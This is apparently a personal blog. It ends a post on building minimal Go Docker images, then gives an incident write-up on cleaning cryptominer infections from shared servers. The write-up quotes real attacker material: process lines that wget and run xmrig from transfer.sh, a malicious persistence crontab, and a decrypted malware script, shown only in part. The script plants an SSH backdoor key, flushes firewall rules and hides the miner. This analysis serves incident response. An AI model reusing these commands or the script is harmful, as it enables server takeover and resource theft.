<p>alpine 相比于 go 的二进制文件,还是过大了,那么可以试试把他去掉,用 scratch ,整个容器有且仅有这一个二进制文件,岂不是很酷 :)</p>
<p>只在多年以前刚开始看 docker 教程的时候用过静态编译的丢进去运行,从此再也没玩过了 :(</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
COPY upx /app/upx
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN CGO_ENABLED=0 go build -ldflags="-w -s" --trimpath -o app .
RUN /app/upx --best app
FROM scratch
#FROM alpine
#RUN apk --no-cache add ca-certificates
WORKDIR /app
COPY --from=builder /app/app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>构建后大小为</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest aa2d5689d063 2 minutes ago 2.43MB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>很明显,这里也会有缺证书的问题,搜索一圈可以发现有个<a href="https://juejin.cn/post/6844904174396637197">全干工程师</a> 在一年前发的一篇文章,从前到后和我的思路一样,连 upx 的参数都一样 太离谱了:)</p>
<p>那么就参考他的,直接拷贝证书过去</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
</pre></td></tr></tbody></table></code></pre></div></div>
<p>于是乎有了最终能用的版本的 dockerfile</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
COPY upx /app/upx
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN CGO_ENABLED=0 go build -ldflags="-w -s" --trimpath -o app .
RUN /app/upx --best app
FROM scratch
WORKDIR /app
COPY --from=builder /app/app .
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>最终容器的大小</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest 706e3549f0ad 2 minutes ago 2.64MB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>到此告一段落,一个有且仅有一个二进制,还有证书的容器搞完了。</p>
<p>到头来想想,似乎没必要这样追求极致。</p>
<p>毕竟这距离极致还有很远。</p>
<p>还可以把二进制里面再继续分析,继续减小。</p>
<p>就像看到了终极笔记的终极一样,终极真的就是想要追求的终极么?</p>
<p>alpine 因为用的 musl 而不是 glibc而导致的问题,过于精简导致的依赖缺失的问题,让我感觉还是 debian 比较靠谱 :)</p>
<p>所以我还是回归我最爱的 debian,把二进制放进去,完事儿 :)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN CGO_ENABLED=0 go build -ldflags="-w -s" --trimpath -o app .
FROM debian
WORKDIR /app
COPY --from=builder /app/app .
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>主流的镜像都是基于 debian 的,因此我这里再开一次不会多占用空间的 :)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest d83396e4d977 About a minute ago 122MB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>所以,这就是真正的最后的镜像了 :)</p>
<h1 id="refer">refer</h1>
<ul>
<li>
<p>https://docs.docker.com/develop/develop-images/multistage-build/</p>
</li>
<li>https://colobu.com/2018/08/13/create-minimal-docker-image-for-go-applications/</li>
<li>https://juejin.cn/post/6844904174396637197</li>
<li>https://github.com/golang/go/issues/9344#issuecomment-69944514</li>
</ul>
<h1 id="跋">跋</h1>
<p>适度摸鱼,有益健康</p>
<p>过度摸鱼,不能毕业 :)</p>
<p>看文档写代码花了半天时间</p>
<p>摸鱼写这篇博客,半天时间又没了</p>
<p>笑看下周一组会我如何交代我给导师说的我这周准备复现的论文</p>
<p>我现在还在看这篇论文,还没写代码 :)</p>
<p>事情越多越不想搞 :(</p>
<p>6月30号的时候,王爷说我们现在三年级了 :(</p>
<p>那么一瞬间</p>
<p>我突然就慌了55555</p>
<p>不慌</p>
<p>晚上再来一把 csgo</p>
<p>看看我白银一的真正实力</p>
<p>Les1ie</p>
<p>2021.7.3 15:19</p>
Sat, 03 Jul 2021 07:26:03 +0000
https://iansmith123.github.io/2021/07/03/%E4%BC%98%E5%8C%96go%E7%9A%84docker%E9%95%9C%E5%83%8F%E5%A4%A7%E5%B0%8F/
https://iansmith123.github.io/2021/07/03/%E4%BC%98%E5%8C%96go%E7%9A%84docker%E9%95%9C%E5%83%8F%E5%A4%A7%E5%B0%8F/
golang
docker
-
记两起挖矿木马排查
<h1 id="溯源-fdl-的机器">溯源 fdl 的机器</h1>
<p>2021年5月17日下午,发现有人爆破我服务器的口令。</p>
<p><img src="https://static.scuseek.com/image-20210517210905611.png" alt="image-20210517210905611" /></p>
<p>查了下是 fdl 的,联系他询问情况。</p>
<p><img src="https://static.scuseek.com/20210518134903.png" alt="" /></p>
<p>登录上去看到有个用户 <code class="language-plaintext highlighter-rouge">127.0.0.1</code>登录的,一看就知道是映射到公网被人登录了</p>
<p><img src="https://static.scuseek.com/20210518143447.png" alt="" /></p>
<p>确认该账号无人使用</p>
<p><img src="https://static.scuseek.com/20210518134835.png" alt="" /></p>
<p>修改密码然后踢出用户</p>
<p><img src="https://static.scuseek.com/20210518135021.png" alt="" /></p>
<p>CPU挖矿</p>
<p><img src="https://static.scuseek.com/image-20210517171733685.png" alt="image-20210517171733685" /></p>
<p><code class="language-plaintext highlighter-rouge">killall xmrig</code>一键停止挖矿程序</p>
<p><img src="https://static.scuseek.com/image-20210517171728561.png" alt="image-20210517171728561" /></p>
<p>找到挖矿程序本体</p>
<p><img src="https://static.scuseek.com/image-20210517172121565.png" alt="image-20210517172121565" /></p>
<p><code class="language-plaintext highlighter-rouge">/var/tmp/</code>路径下有疑似扫描的程序</p>
<p><img src="https://static.scuseek.com/image-20210517172255478.png" alt="image-20210517172255478" /></p>
<p>查看 <code class="language-plaintext highlighter-rouge">lpz</code>用户启动的程序</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>lpz 9845 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz 10361 1 0 16:00 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz 10628 1 0 16:00 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz 11418 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz 12349 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz 13160 1 0 5月15 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http://transfer.sh/GgVQs/xmrig ; chmod +x xmrig ; ./xmrig
lpz 13462 1 0 16:10 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz 13633 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://static.scuseek.com/image-20210517172830380.png" alt="image-20210517172830380" /></p>
<p>找到 bios.txt</p>
<p><img src="https://static.scuseek.com/image-20210517173105061.png" alt="image-20210517173105061" /></p>
<p>内容如下</p>
<p><img src="https://static.scuseek.com/image-20210517173037790.png" alt="image-20210517173037790" /></p>
<p>查看建立的ssh,发现正在爆破口令</p>
<p><img src="https://static.scuseek.com/20210518144217.png" alt="" /></p>
<p>停止该用户的所有对外发起的爆破攻击</p>
<p><img src="https://static.scuseek.com/image-20210517183217689.png" alt="image-20210517183217689" /></p>
<p>祭出很久以前写的一个非常弱鸡的检查程序</p>
<p><img src="https://static.scuseek.com/20210518135310.png" alt="" /></p>
<p>查看成功登录的记录,记录文件缺失不少,可能是攻击者手抖删了的</p>
<p><img src="https://static.scuseek.com/image-20210517183738389.png" alt="image-20210517183738389" /></p>
<p>目录里面翻了翻,找到了爆破成功的口令</p>
<p><img src="https://static.scuseek.com/20210518135528.png" alt="" /></p>
<p>开机自启动爆破ssh的程序</p>
<p><img src="https://static.scuseek.com/image-20210517200731869.png" alt="image-20210517200731869" /></p>
<p><code class="language-plaintext highlighter-rouge">/var/spool/cron/crontabs/lpz </code> 文件内容,注释所有内容</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre># DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/.5p4rk3l5 installed on Mon May 3 14:22:22 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@daily /var/tmp/./.b4nd1d0
@reboot /var/tmp/./.black > /dev/null 2>&1 & disown
* * * * * /var/tmp/./.black > /dev/null 2>&1 & disown
@monthly /var/tmp/./.black > /dev/null 2>&1 & disown
</pre></td></tr></tbody></table></code></pre></div></div>
<p>问题不大,程序起不来了,保留现场,留给 fdl 了,我就溜了。</p>
<p>然后似乎应该联系一下受害者,于是在某个群里说了下受害者IP :)</p>
<p><img src="https://static.scuseek.com/20210518145244.png" alt="" /></p>
<p>出现受害者,着实太惨了</p>
<p><img src="https://static.scuseek.com/20210518145414.png" alt="" /></p>
<p>事情告一段落,简单记录了下流程,fdl 建议放到内网,让其他人排查的时候多一点思路,于是我放到内网了,不过似乎打点马赛克还可以水一篇我自己的博客(笑</p>
<p><img src="https://static.scuseek.com/20210518181351.png" alt="" /></p>
<h1 id="简单的对抗">简单的对抗</h1>
<p>曾大佬的同学服务器中毒,遇到挖矿木马。</p>
<p>昨天他们搞了快一天还没搞定,我昨天下午给他说让他们把ssh口令拿来,结果曾大佬十分羞涩(笑),一直没有要口令,今早来的时候看到曾大佬还在帮对面分析。</p>
<p>不过,我昨天晚饭的时候刚溯源了一台机器(前面 fdl 的那台),我问到了曾大佬他们的IP地址,再去昨天溯源的机器里面拖下来的文件对比,找到了他们服务器的密码 :)</p>
<p><img src="https://static.scuseek.com/20210518145717.png" alt="" /></p>
<p>试了下,发现他们已经把密码改了 :(</p>
<p><img src="https://static.scuseek.com/20210518145748.png" alt="" /></p>
<p>然后10:30的时候,曾大佬终于问到了密码,又是一个不太弱的弱口令,还好,查了下没有在rockyou.txt里面。</p>
<p>登上去一看,好家伙,我昨天溯源的那台机器把这台爆破成功了,还反复登录了好多次。来了两波挖矿的攻击者,大胆想象第二波把第一波攻击者的挖矿木马停了运行自己的,然后第一波回来了又把程序改回来了,结果没想到第二波做了对抗,第一波被迫和第二波共享CPU,果然挖矿的最大敌人是服务器上其他挖矿的人。(希望不是披着挖矿外衣的APT攻击)</p>
<p><img src="https://static.scuseek.com/20210518132923.png" alt="" /></p>
<p>mail列表可以看到提示 <code class="language-plaintext highlighter-rouge">/usr/bin/sa/sa1</code>文件不存在,是因为前面的排查的同学已经把这个恶意路径重命名了,程序启动不了。那就搜索哪里出现了这个可疑路径。</p>
<p>使用strings命令在所有文本和二进制文件中查找这个字符串。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>find -print0|xargs -0 strings |grep "/usr/lib64/sa"
</pre></td></tr></tbody></table></code></pre></div></div>
<p>搜索了之后找到文件,初步分析此文件和生成的恶意程序 <code class="language-plaintext highlighter-rouge">/usr/bin/ </code> 没有直接关系,线索暂时中断。</p>
<p><code class="language-plaintext highlighter-rouge">ps -ef </code>可以看到启动了一个进程 <code class="language-plaintext highlighter-rouge">/usr/bin/随机字符串</code>,发送<code class="language-plaintext highlighter-rouge">kill -9</code>之后立刻重新启动,启动之后这个程序会删除本身,以达到隐藏自己的目的。父进程<code class="language-plaintext highlighter-rouge">pid</code>是<code class="language-plaintext highlighter-rouge">1</code>,可以知道是<code class="language-plaintext highlighter-rouge">systemd</code>启动的恶意进程。</p>
<p>楼上大佬写了脚本无限循环kill掉这个</p>
<p><img src="https://static.scuseek.com/20210518132008.png" alt="" /></p>
<p>继续寻找到底谁在搞事。</p>
<ol>
<li>
<p>通过父进程<code class="language-plaintext highlighter-rouge">pid</code>是<code class="language-plaintext highlighter-rouge">1</code>我们可以推测程序利用了 <code class="language-plaintext highlighter-rouge">systemd</code>重启恶意程序。</p>
</li>
<li>
<p>通过程序无限重启我们可以推测<code class="language-plaintext highlighter-rouge">service</code>的配置文件里面写了<code class="language-plaintext highlighter-rouge">Restart=always</code>这个重启策略。</p>
</li>
</ol>
<p>于是挨个去排查 <code class="language-plaintext highlighter-rouge">/etc/systemd/</code>里面注册的 <code class="language-plaintext highlighter-rouge">Restart=always</code>的配置文件。找了半天实在眼花,也用了正常工作的<code class="language-plaintext highlighter-rouge">CentOS</code>的<code class="language-plaintext highlighter-rouge">systemd</code>服务和此服务器的做对比,区别挺大,没有找到明显异常,此路不通。 :)</p>
<p>查看下启动的 service,还是眼花。此路不通。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>systemctl list-unit-files|grep enabled
</pre></td></tr></tbody></table></code></pre></div></div>
<p>又生一计,给他发个 <code class="language-plaintext highlighter-rouge">SEGV</code>让他异常退出,看看有没有<code class="language-plaintext highlighter-rouge">coredump</code>,从<code class="language-plaintext highlighter-rouge">coredump</code>分析。因为似乎并没有配置<code class="language-plaintext highlighter-rouge">coredump</code>的策略,不过也不是不能用,限于较懒+不是我的服务器,不能乱搞。程序异常退出后,在 <code class="language-plaintext highlighter-rouge">/var/spool/abrt</code>可以看到正在保存过程中的 <code class="language-plaintext highlighter-rouge">coredump</code>文件,等他dump完成之后会移动到其他地方,拼个手速赶在系统删掉他之前把他复制一份。</p>
<p>发SEGV让程序停下来,保存coredump现场</p>
<p><img src="https://static.scuseek.com/20210518125440.png" alt="" /></p>
<p>查看 <code class="language-plaintext highlighter-rouge">environ</code>可以看到里面有该文件的路径 <code class="language-plaintext highlighter-rouge">/usr/bin/ab06174bf1</code>和另一个路径 <code class="language-plaintext highlighter-rouge">/usr/sbin/route_forbidden-close</code></p>
<p><img src="https://static.scuseek.com/20210518125542.png" alt="" /></p>
<p>早知道看 <code class="language-plaintext highlighter-rouge">environ</code>的话我为啥还要费力的给他发<code class="language-plaintext highlighter-rouge">SEGV</code>让他段错误,直接去<code class="language-plaintext highlighter-rouge">/proc/</code>翻就行了55555 :)</p>
<p>过滤该文件内的字符串,可以看到 <code class="language-plaintext highlighter-rouge">upx</code> 字样,正常程序肯定不会用<code class="language-plaintext highlighter-rouge">upx</code>的。可能这也是逃过我们刚刚的<code class="language-plaintext highlighter-rouge">find+strings</code>组合的原因了。</p>
<p><img src="https://static.scuseek.com/20210518125653.png" alt="" /></p>
<p>然后把文件拖下来,本机upx脱壳看看</p>
<p><img src="https://static.scuseek.com/20210518125720.png" alt="" /></p>
<p>好的,就是upx的了,送给曾大佬分析一波。</p>
<p>网上搜一下这个文件名字符串,可以看到有且仅有三条结果,内容一样</p>
<p><img src="https://static.scuseek.com/20210518125800.png" alt="" /></p>
<p>点进去一看,好家伙,症状完全一致</p>
<p>https://blog.csdn.net/qq_36270681/article/details/115366550</p>
<p><img src="https://static.scuseek.com/20210518125921.png" alt="" /></p>
<p>而后直接找到了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>cat /usr/lib/systemd/system/pmapx_start_2.service
</pre></td></tr></tbody></table></code></pre></div></div>
<p><img src="https://static.scuseek.com/20210518130020.png" alt="" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre># This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See resolved.conf(5) for details
[Unit]
Description=System function loader.
[Service]
Type=forking
GuessMainPID=no
Restart=always
RestartSec=10
ExecStart=-/usr/sbin/route_forbidden-close
[Install]
WantedBy=multi-user.target
</pre></td></tr></tbody></table></code></pre></div></div>
<p>这家伙隐藏的挺好,要不是你用<code class="language-plaintext highlighter-rouge">upx</code>加壳,我可能还真找不到你了 :)</p>
<p>找到凶手后,禁言套餐小黑屋套餐送上</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>systemctl disable pmapx_start_2
systemctl stop pmapx_start_2
</pre></td></tr></tbody></table></code></pre></div></div>
<p>世界瞬间安静下来。</p>
<p>再看看<code class="language-plaintext highlighter-rouge">ps -ef|grep /usr/bin</code>,没有异常的那个进程了,CPU负载也降到0了。</p>
<p><img src="https://static.scuseek.com/20210518132806.png" alt="" /></p>
<p>收工。</p>
<p>曾大佬过来问我怎么找到这个 upx 加壳的文件的,想了想我感觉可以水一篇博客,帮助大家分析这个做了一点点对抗的挖矿木马。毕竟这个样本似乎刚出来不久,网上没找到太多的资料。可能有关联词的部分我截图加文本形式写到正文里面了, 做个 SEO 让搜索引擎索引一下。</p>
<h2 id="分析恶意文件">分析恶意文件</h2>
<p>不愧是 NESE 的大佬,曾大佬分分钟把恶意文件逆了。</p>
<p>这其实是个shc加密的shell脚本,可以解密,IDA里面也能直接看到 shell 的源码。曾大佬说他还写了个公钥进去,我们赶紧登录上去,果然,公钥就在那里,仿佛在嘲笑我们百密99疏,这么明显的东西没有去关注他。其实也不一定容易发现这个有问题,这台电脑很多个人在用,可能会以为是其他同学写的。</p>
<p><img src="https://static.scuseek.com/20210518185556.png" alt="" /></p>
<p>对比一下字符串,和解密出来的shell里面内容一样,立刻干掉他。我回到我的工位准备上去耍耍,事情变得有趣起来了。</p>
<p>曾大佬叫我说这个文件怎么改不了,我过去一看, <code class="language-plaintext highlighter-rouge">:w</code> 不能保存,<code class="language-plaintext highlighter-rouge">:w!</code> 也不行,看起来像是用了<code class="language-plaintext highlighter-rouge">chattr</code>添加了只读属性。</p>
<p>退出来一看,还真是。</p>
<p>好家伙,还留了一手。</p>
<p><img src="https://static.scuseek.com/20210518190036.png" alt="" /></p>
<p>问题不大,我是root啊,一波 <code class="language-plaintext highlighter-rouge">chattr -i</code>去掉只读,然后覆盖掉里面的内容,问题解决。当时解决这个问题的时候还没有仔细分析 shell 脚本,看到写了公钥就直接去服务器了,往后面的shell脚本里面是能看到具体的地方的。</p>
<p>一个问题解决了,回来继续分析 shell代码。</p>
<p>解密之后代码如下</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
</pre></td><td class="rouge-code"><pre><span class="c">#!/bin/bash</span>
<span class="c">### Functii / Variabile ###</span>
<span class="nv">random_name</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>openssl rand <span class="nt">-hex</span> 5<span class="si">)</span><span class="s2">"</span>
<span class="nv">locatie_miner_default</span><span class="o">=</span><span class="s2">"/usr/sbin/rmt_remount-open"</span>
<span class="nv">locatie_pid</span><span class="o">=</span><span class="s2">"/usr/local/share/.logfile"</span>
<span class="nv">sshkey</span><span class="o">=</span><span class="s2">"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"</span>
<span class="c">########################################################</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> /usr/sbin/lib23fr <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nv">static</span><span class="o">=</span>/usr/sbin/lib23fr
<span class="k">else
</span><span class="nv">static</span><span class="o">=</span><span class="nb">cp
</span><span class="k">fi
if</span> <span class="o">[</span> <span class="nt">-f</span> /usr/sbin/chattr_bakv2 <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nv">static2</span><span class="o">=</span>/usr/sbin/chattr_bakv2
<span class="k">else
</span><span class="nv">static2</span><span class="o">=</span>chattr
<span class="k">fi
if</span> <span class="o">[</span> <span class="nt">-f</span> /usr/sbin/lodosir <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nv">static3</span><span class="o">=</span>/usr/sbin/lodosir
<span class="k">else
</span><span class="nv">static3</span><span class="o">=</span><span class="nb">rm
</span><span class="k">fi</span>
<span class="c">########################################################</span>
permisiuni_logs<span class="o">(){</span>
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr/bin
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr/local
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr/local/share
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> <span class="nv">$locatie_pid</span>
<span class="nb">chmod</span> +x <span class="nv">$locatie_pid</span>
<span class="o">}</span>
<span class="c">######</span>
sshkeyset<span class="o">()</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">[</span> <span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span> <span class="o">=</span> 0 <span class="o">]</span><span class="p">;</span> <span class="k">then
if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="s2">"/root/.ssh/authorized_keys"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
if</span> <span class="o">!</span> <span class="nb">cat</span> /root/.ssh/authorized_keys | <span class="nb">grep</span> <span class="nt">-q</span> <span class="s2">"</span><span class="k">${</span><span class="nv">sshkey</span><span class="k">}</span><span class="s2">"</span> <span class="p">;</span> <span class="k">then</span>
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /root <span class="p">;</span> <span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /root/.ssh <span class="p">;</span> <span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /root/.ssh/authorized_keys
<span class="nb">echo</span> <span class="nv">$sshkey</span> <span class="o">></span> <span class="s2">"/root/.ssh/authorized_keys"</span>
<span class="nb">chmod </span>600 /root/.ssh/authorized_keys
<span class="nv">$static2</span> +i /root/.ssh/authorized_keys
<span class="k">else</span>
:
<span class="k">fi
else
if</span> <span class="o">[</span> <span class="nt">-d</span> <span class="s2">"/root/.ssh"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /root/.ssh
<span class="nb">echo</span> <span class="nv">$sshkey</span> <span class="o">></span> <span class="s2">"/root/.ssh/authorized_keys"</span>
<span class="nb">chmod </span>600 /root/.ssh/authorized_keys
<span class="nv">$static2</span> +i /root/.ssh/authorized_keys
<span class="k">else</span>
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /root
<span class="nb">mkdir</span> <span class="s2">"/root/.ssh"</span>
<span class="nb">echo</span> <span class="nv">$sshkey</span> <span class="o">></span> <span class="s2">"/root/.ssh/authorized_keys"</span>
<span class="nb">chmod </span>600 /root/.ssh/authorized_keys
<span class="nv">$static2</span> +i /root/.ssh/authorized_keys
<span class="k">fi
fi
fi</span>
<span class="o">}</span>
<span class="c">######</span>
scoatem_ports<span class="o">(){</span>
iptables <span class="nt">-F</span> <span class="p">;</span> iptables <span class="nt">--flush</span> <span class="p">;</span> <span class="nb">echo</span> <span class="s2">"nameserver 8.8.8.8"</span><span class="o">></span> /etc/resolv.conf
<span class="o">}</span>
<span class="c">######</span>
kulkat<span class="o">()</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> /usr/bin/config.json <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr/bin/config.json
<span class="nb">rm</span> <span class="nt">-rf</span> /usr/bin/config.json
<span class="k">fi</span>
<span class="o">}</span>
<span class="c">######</span>
functie_on<span class="o">(){</span>
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr/bin
<span class="nv">$static2</span> <span class="nt">-i</span> <span class="nt">-a</span> <span class="nt">-j</span> <span class="nt">-t</span> <span class="nt">-d</span> <span class="nt">-u</span> /usr
<span class="nv">$static</span> <span class="nv">$locatie_miner_default</span> /usr/bin/<span class="nv">$random_name</span>
/usr/bin/<span class="nv">$random_name</span> <span class="o">></span> /dev/null 2>&1 & <span class="nb">disown
echo</span> <span class="nv">$random_name</span> <span class="o">></span> <span class="nv">$locatie_pid</span>
<span class="nv">$static3</span> <span class="nt">-rf</span> /usr/bin/<span class="nv">$random_name</span>
<span class="o">}</span>
